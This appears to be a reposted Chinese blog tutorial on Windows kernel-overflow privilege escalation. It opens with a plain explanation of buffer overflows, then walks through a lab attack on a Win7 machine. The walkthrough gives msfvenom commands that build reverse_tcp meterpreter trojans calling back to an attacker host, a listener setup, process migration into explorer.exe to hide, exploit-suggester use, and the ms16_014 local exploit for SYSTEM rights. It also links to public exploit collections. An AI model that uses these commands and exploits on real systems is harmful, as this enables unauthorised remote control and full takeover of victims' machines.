目录
Windows内核溢出漏洞原理
溢出漏洞简介
什么是缓冲区
缓冲区溢出
缓冲区溢出目的
Windows内核溢出漏洞利用流程
提权实战思路
手工提权测试
辅助提权
EXP如何寻找
使用MSF提权
关于提权时可能遇到的问题
如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行
Windows内核溢出漏洞原理
溢出漏洞的全名:缓冲区溢出漏洞。
溢出漏洞简介
溢出漏洞是一种计算机程序的可更正性缺陷。
因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
什么是缓冲区
在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲,缓冲区就是当你打开应用程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统直接从缓冲区读取,提高打开的速度。
缓冲区溢出
在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。
缓冲区溢出目的
缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能,这样可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
在实际场景中,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以劫持进程、执行任意指令,甚至可以取得系统权限。
Windows内核溢出漏洞利用流程
Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
提权流程:
(1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表
(2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞.
提权实战思路
大概有两种思路:
- 基于手工测试
- 基于工具的自动化提权:MSF/CS
手工提权测试
主要思路就是获取系统上的补丁信息,根据第三网站或者项目寻找EXP。
辅助提权
Github项目:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub
该工具如何使用请参考我得另外一篇博客:提权神器:WindowsVulnScan_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
这款工具测试Win7系统时遭遇失败:
还有第三方分析的网站:提权辅助网页 Windows提权辅助
分析结果:
之后就是根据结果寻找EXP测试
EXP如何寻找
Github上的项目推荐:
GitHub - Ascotbe/Kernelhub: Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集)
GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.
项目上集成有大量的EXP,根据上面信息收集获得可利用漏洞逐一尝试即可。
使用MSF提权
测试环境
靶机: Win7 192.168.226.133
攻击机:Kali 192.168.226.132
生成木马:使用第一条命令生成木马 test.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (64位)
进入监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
另外需要注意一个位置,exe的位置要注意,我们权限低,目录没有修改权限,需要放在我们具有修改执行权限的目录下。
还有就是监听的网卡设置,0.0.0.0 表示监听所有的网卡
这样就建立号后门链接了
上线后进行进程迁移(隐藏自己),把进程迁移到explore.exe中,1844为进程的pid
migrate 1844
接下来开始提权,使用post/multi/recon/local_exploit_suggester这个模块进行测试
system为Win7最高权限,开始提权!首先输入background命令将session放到后台
执行攻击模块,它可以快速识别系统中可利用的漏洞
use post/multi/recon/local_exploit_suggester
set session 2
run
获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run
成功提权
关于提权时可能遇到的问题
如何管理会话
sessions -l 显示所有的会话
sessions -i ID 连接指定的会话
在利用msf进行提权操作是出现timed out:Error running command shell: Rex::TimeoutError Operation timed out.
虚拟切换为NAT模式即可
MSF漏洞利用完成但无法创建会话的几种原因文章来源:https://www.toymoban.com/news/detail-471877.html
参考博客:MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话_Q1X1的博客-CSDN博客文章来源地址https://www.toymoban.com/news/detail-471877.html
如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行
到了这里,关于Windows系统内核溢出漏洞提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!